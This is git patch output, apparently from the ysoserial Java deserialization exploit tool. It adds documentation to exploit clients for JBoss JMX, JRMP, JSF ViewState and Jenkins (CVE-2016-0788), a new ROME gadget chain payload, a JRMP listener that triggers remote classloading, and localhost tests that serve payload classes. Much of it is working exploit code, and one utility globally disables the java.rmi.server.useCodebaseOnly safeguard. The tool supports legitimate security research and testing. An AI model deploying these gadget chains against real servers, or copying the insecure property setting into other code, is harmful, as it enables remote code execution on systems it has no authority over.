new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); } @@ -75,9 +62,6 @@ public class RemoteClassLoadingTest implements WrappedTest { private byte[] data; - /** - * @param innerCallable - */ public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable innerCallable ) { super(port); this.data = data; @@ -86,11 +70,6 @@ public class RemoteClassLoadingTest implements WrappedTest { } - /** - * {@inheritDoc} - * - * @see java.util.concurrent.Callable#call() - */ public Object call () throws Exception { try { setup(); @@ -102,29 +81,16 @@ public class RemoteClassLoadingTest implements WrappedTest { } - - /** - * @throws IOException - * - */ private void setup () throws IOException { start(NanoHTTPD.SOCKET_READ_TIMEOUT, false); } - /** - * - */ private void cleanup () { stop(); } - /** - * {@inheritDoc} - * - * @see fi.iki.elonen.NanoHTTPD#serve(fi.iki.elonen.NanoHTTPD.IHTTPSession) - */ @Override public Response serve ( IHTTPSession sess ) { return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); From bdb1e0db3d5b9383d8436813885283b99f52a9aa Mon Sep 17 00:00:00 2001 From: mbechler Date: Wed, 9 Mar 2016 15:30:04 +0100 Subject: [PATCH 24/25] Add some tooling docs --- src/main/java/ysoserial/exploit/JBoss.java | 10 ++++++++++ src/main/java/ysoserial/exploit/JRMPClient.java | 6 ++++++ src/main/java/ysoserial/exploit/JRMPListener.java | 5 +++++ src/main/java/ysoserial/exploit/JSF.java | 14 ++++++++++++++ src/main/java/ysoserial/exploit/JenkinsCLI.java | 8 ++++++++ .../java/ysoserial/exploit/JenkinsListener.java | 11 +++++++++++ .../java/ysoserial/exploit/JenkinsReverse.java | 6 ++++++ 7 files changed, 60 insertions(+) diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java index 2d904a0..c3a7e61 100644 --- a/src/main/java/ysoserial/exploit/JBoss.java +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -70,6 +70,8 @@ import ysoserial.payloads.ObjectPayload.Utils; * * An exploitation client for JBoss AS/Wildfly JMX * + * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol. + * * This is not as readily exploitable as in other pieces of software: * 1. they only allow authenticated access by default * 2. they have a very strict module architecture: @@ -77,7 +79,15 @@ import ysoserial.payloads.ObjectPayload.Utils; * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl * + * This client enumerates all application exported MBean method which are then called + * delivering the specified payload. * + * I.e. you can succesfully exploit that + * - you have access to the interface + * (username/password can be specified via URL, note: despite not noticeable, + * local connections implicitely use authentication) + * - there is an application exported MBean + * - that application imports the classes required for the gadget chain * * @author mbechler * diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java index 3808bf6..81345bd 100644 --- a/src/main/java/ysoserial/exploit/JRMPClient.java +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -19,6 +19,12 @@ import ysoserial.payloads.ObjectPayload.Utils; /** + * Generic JRMP client + * + * Pretty much the same thing as {@link RMIRegistryExploit} but + * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) + * - not deserializing anything (so you don't get yourself exploited ;)) + * * @author mbechler * */ diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index 54a5a0c..ecd73a7 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -28,6 +28,11 @@ import ysoserial.payloads.util.Reflections; /** + * Generic JRMP listener + * + * Opens up an JRMP listener that will deliver the specified payload to any + * client connecting to it and making a call. + * * @author mbechler * */ diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java index 396405a..480da95 100644 --- a/src/main/java/ysoserial/exploit/JSF.java +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -15,6 +15,20 @@ import ysoserial.payloads.ObjectPayload.Utils; /** + * JSF view state exploit + * + * Delivers a gadget payload via JSF ViewState token. + * + * This will only work if ViewState encryption/mac is disabled. + * + * While it has been long known that client side state saving + * with encryption disabled leads to RCE via EL injection, + * this of course also works with deserialization gadgets. + * + * Also, it turns out that MyFaces is vulnerable to this even when + * using server-side state saving + * (yes, please, let's (de-)serialize a String as an Object). + * * @author mbechler * */ diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java index cbbca3c..cdbd4a4 100644 --- a/src/main/java/ysoserial/exploit/JenkinsCLI.java +++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java @@ -26,6 +26,14 @@ import hudson.remoting.ChannelBuilder; import ysoserial.payloads.ObjectPayload.Utils; /** + * Jenkins CLI client + * + * Jenkins unfortunately is still using a custom serialization based + * protocol for remote communications only protected by a blacklisting + * application level filter. + * + * This is a generic client delivering a gadget chain payload via that protocol. + * * @author mbechler * */ diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java index 1cb84a5..64c2adb 100644 --- a/src/main/java/ysoserial/exploit/JenkinsListener.java +++ b/src/main/java/ysoserial/exploit/JenkinsListener.java @@ -32,6 +32,17 @@ import ysoserial.payloads.util.Reflections; /** * CVE-2016-0788 exploit (1) * + * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. + * 2. that payload causes the remote server to open up an JRMP listener (and export an object). + * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. + * + * Extra twist: + * The well-known objects exported by the listener use the system classloader which usually + * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id + * (which is using jenkins' classloader) that typically is properly randomized. + * Fortunately - for the exploiting party - there is also a gadget that allows to leak + * that identifier via an exception. + * * @author mbechler */ @SuppressWarnings ( { diff --git a/src/main/java/ysoserial/exploit/JenkinsReverse.java b/src/main/java/ysoserial/exploit/JenkinsReverse.java index 057c216..ba4d3fe 100644 --- a/src/main/java/ysoserial/exploit/JenkinsReverse.java +++ b/src/main/java/ysoserial/exploit/JenkinsReverse.java @@ -15,6 +15,12 @@ import ysoserial.payloads.ObjectPayload.Utils; /** * CVE-2016-0788 exploit (2) * + * - Sets up a local {@link JRMPListener} + * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol + * that will cause the remote to open a JRMP connection to our listener + * - upon connection the specified payload will be delivered to the remote + * (that will deserialize using a default ObjectInputStream) + * * @author mbechler * */ From 3230c080ffa17e73a122cfb933ddd59607401a74 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 12 Mar 2016 17:35:17 +0100 Subject: [PATCH 25/25] Add rome (RSS/Atom library) gadget chain. Add exploit and test code for JRMP reverse connect remote classloading. --- pom.xml | 5 ++ .../exploit/JRMPClassLoadingListener.java | 50 +++++++++++++++ .../java/ysoserial/exploit/JRMPClient.java | 13 +++- .../java/ysoserial/exploit/JRMPListener.java | 35 +++++++++- .../java/ysoserial/payloads/JRMPClient.java | 2 +- src/main/java/ysoserial/payloads/ROME.java | 45 +++++++++++++ .../java/ysoserial/payloads/util/Gadgets.java | 4 +- .../payloads/JRMPReverseConnectSMTest.java | 64 +++++++++++++++++++ .../payloads/RemoteClassLoadingTest.java | 33 +++++++++- 9 files changed, 244 insertions(+), 7 deletions(-) create mode 100644 src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java create mode 100644 src/main/java/ysoserial/payloads/ROME.java create mode 100644 src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java diff --git a/pom.xml b/pom.xml index 40e8006..6bea82d 100644 --- a/pom.xml +++ b/pom.xml @@ -233,6 +233,11 @@ xalan 2.7.2 + + rome + rome + 1.0 + diff --git a/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java b/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java new file mode 100644 index 0000000..f6437ec --- /dev/null +++ b/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java @@ -0,0 +1,50 @@ +package ysoserial.exploit; + + + +import java.net.URL; + + +/** + * JRMP listener triggering RMI remote classloading + * + * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. + * + * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need + * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}. + * + * This only works if + * - the remote end is running with a security manager + * - java.rmi.server.useCodebaseOnly=false (default until 7u21) + * - the remote has the proper permissions to remotely load the class (mostly URLPermission) + * + * and, of course, the payload class is then run under the security manager with a remote codebase + * so either the policy needs to allow whatever you want to do in the payload or you need to combine + * with a security manager bypass exploit (wouldn't be the first time). + * + * @author mbechler + * + */ +public class JRMPClassLoadingListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPClassLoadingListener.class.getName() + " "); + System.exit(-1); + return; + } + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + +} diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java index 81345bd..5206cd0 100644 --- a/src/main/java/ysoserial/exploit/JRMPClient.java +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -96,6 +96,14 @@ public class JRMPClient { } static final class MarshalOutputStream extends ObjectOutputStream { + + + private URL sendUrl; + + public MarshalOutputStream (OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } MarshalOutputStream ( OutputStream out ) throws IOException { super(out); @@ -103,12 +111,15 @@ public class JRMPClient { @Override protected void annotateClass ( Class cl ) throws IOException { - if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { + if ( this.sendUrl != null ) { + writeObject(this.sendUrl.toString()); + } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { writeObject(null); } else { URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); String cb = ""; + for ( URL u : us ) { cb += u.toString(); } diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index ecd73a7..e5c034c 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -11,10 +11,12 @@ import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.ObjectStreamClass; import java.io.OutputStream; +import java.io.Serializable; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.net.SocketException; +import java.net.URL; import java.rmi.MarshalException; import java.rmi.server.ObjID; import java.rmi.server.UID; @@ -22,6 +24,9 @@ import java.rmi.server.UID; import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Reflections; @@ -47,6 +52,7 @@ public class JRMPListener implements Runnable { private Object waitLock = new Object(); private boolean exit; private boolean hadConnection; + private URL classpathUrl; public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { @@ -54,6 +60,13 @@ public class JRMPListener implements Runnable { this.payloadObject = payloadObject; this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); } + + public JRMPListener (int port, String className, URL classpathUrl) throws IOException { + this.port = port; + this.payloadObject = makeDummyObject(className); + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } public boolean waitFor ( int i ) { @@ -246,7 +259,7 @@ public class JRMPListener implements Runnable { System.err.println("Sending return with payload"); out.writeByte(TransportConstants.Return);// transport op - ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out); + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); oos.writeByte(TransportConstants.ExceptionalReturn); new UID().write(oos); @@ -264,4 +277,24 @@ public class JRMPListener implements Runnable { } } + protected static Object makeDummyObject (String className) { + try { + ClassLoader isolation = new ClassLoader() {}; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + + public static class Dummy implements Serializable { + private static final long serialVersionUID = 1L; + + } } diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java index e224542..d39c950 100644 --- a/src/main/java/ysoserial/payloads/JRMPClient.java +++ b/src/main/java/ysoserial/payloads/JRMPClient.java @@ -48,7 +48,7 @@ import ysoserial.payloads.util.PayloadRunner; @SuppressWarnings ( { "restriction" } ) -@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") public class JRMPClient extends PayloadRunner implements ObjectPayload { public Registry getObject ( final String command ) throws Exception { diff --git a/src/main/java/ysoserial/payloads/ROME.java b/src/main/java/ysoserial/payloads/ROME.java new file mode 100644 index 0000000..274e35a --- /dev/null +++ b/src/main/java/ysoserial/payloads/ROME.java @@ -0,0 +1,45 @@ +package ysoserial.payloads; + + +import javax.xml.transform.Templates; + +import com.sun.syndication.feed.impl.ObjectBean; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +/** + * + * TemplatesImpl.getOutputProperties() + * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) + * NativeMethodAccessorImpl.invoke(Object, Object[]) + * DelegatingMethodAccessorImpl.invoke(Object, Object[]) + * Method.invoke(Object, Object...) + * ToStringBean.toString(String) + * ToStringBean.toString() + * ObjectBean.toString() + * EqualsBean.beanHashCode() + * ObjectBean.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * @author mbechler + * + */ +@Dependencies("rome:rome:1.0") +public class ROME implements ObjectPayload { + + public Object getObject ( String command ) throws Exception { + Object o = Gadgets.createTemplatesImpl(command); + ObjectBean delegate = new ObjectBean(Templates.class, o); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return Gadgets.makeMap(root, root); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(ROME.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index c21ba45..079a12e 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -36,7 +36,9 @@ public class Gadgets { static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled System.setProperty(DESERIALIZE_TRANSLET, "true"); - + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); } public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java new file mode 100644 index 0000000..fb60bbc --- /dev/null +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java @@ -0,0 +1,64 @@ +package ysoserial.payloads; + + +import java.net.URL; +import java.util.concurrent.Callable; + +import ysoserial.WrappedTest; +import ysoserial.exploit.JRMPListener; + + +/** + * @author mbechler + * + */ +public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest { + + private int jrmpPort; + + + public JRMPReverseConnectSMTest (String command) { + super(command); + // some payloads cannot specify the port + jrmpPort = 1099; + } + + + + + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable) + */ + @Override + public Callable createCallable ( final Callable innerCallable ) { + return super.createCallable(new Callable() { + public Object call () throws Exception { + JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/")); + Thread t = new Thread(l, "JRMP listener"); + try { + t.start(); + Object res = innerCallable.call(); + l.waitFor(1000); + return res; + } + finally { + l.close(); + t.interrupt(); + t.join(); + } + } + }); + } + + @Override + public String getPayloadArgs () { + return "localhost:" + jrmpPort; + } + + + + +} diff --git a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java index 221cccc..0e83b62 100644 --- a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java +++ b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java @@ -3,6 +3,7 @@ package ysoserial.payloads; import java.io.ByteArrayInputStream; import java.io.IOException; +import java.io.Serializable; import java.util.Random; import java.util.concurrent.Callable; @@ -35,11 +36,17 @@ public class RemoteClassLoadingTest implements WrappedTest { return String.format("http://localhost:%d/", this.port) + ":" + this.className; } + public int getHTTPPort () { + return this.port; + } public Callable createCallable ( Callable innerCallable ) { return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); } + public String getExploitClassName () { + return this.className; + } protected byte[] makePayloadClass () { try { @@ -60,6 +67,7 @@ public class RemoteClassLoadingTest implements WrappedTest { private Callable innerCallable; private byte[] data; + private Object waitLock = new Object(); public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable innerCallable ) { @@ -68,12 +76,22 @@ public class RemoteClassLoadingTest implements WrappedTest { this.innerCallable = innerCallable; } + + + public void waitFor() throws InterruptedException { + synchronized ( this.waitLock ) { + this.waitLock.wait(1000); + } + } public Object call () throws Exception { try { setup(); - return this.innerCallable.call(); + Object res = this.innerCallable.call(); + waitFor(); + Thread.sleep(1000); + return res; } finally { cleanup(); @@ -93,12 +111,21 @@ public class RemoteClassLoadingTest implements WrappedTest { @Override public Response serve ( IHTTPSession sess ) { - return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); + System.out.println("Serving " + sess.getUri()); + Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + return response; } } - public static class Exploit { + + + public static class Exploit implements Serializable { + + private static final long serialVersionUID = 1L; } }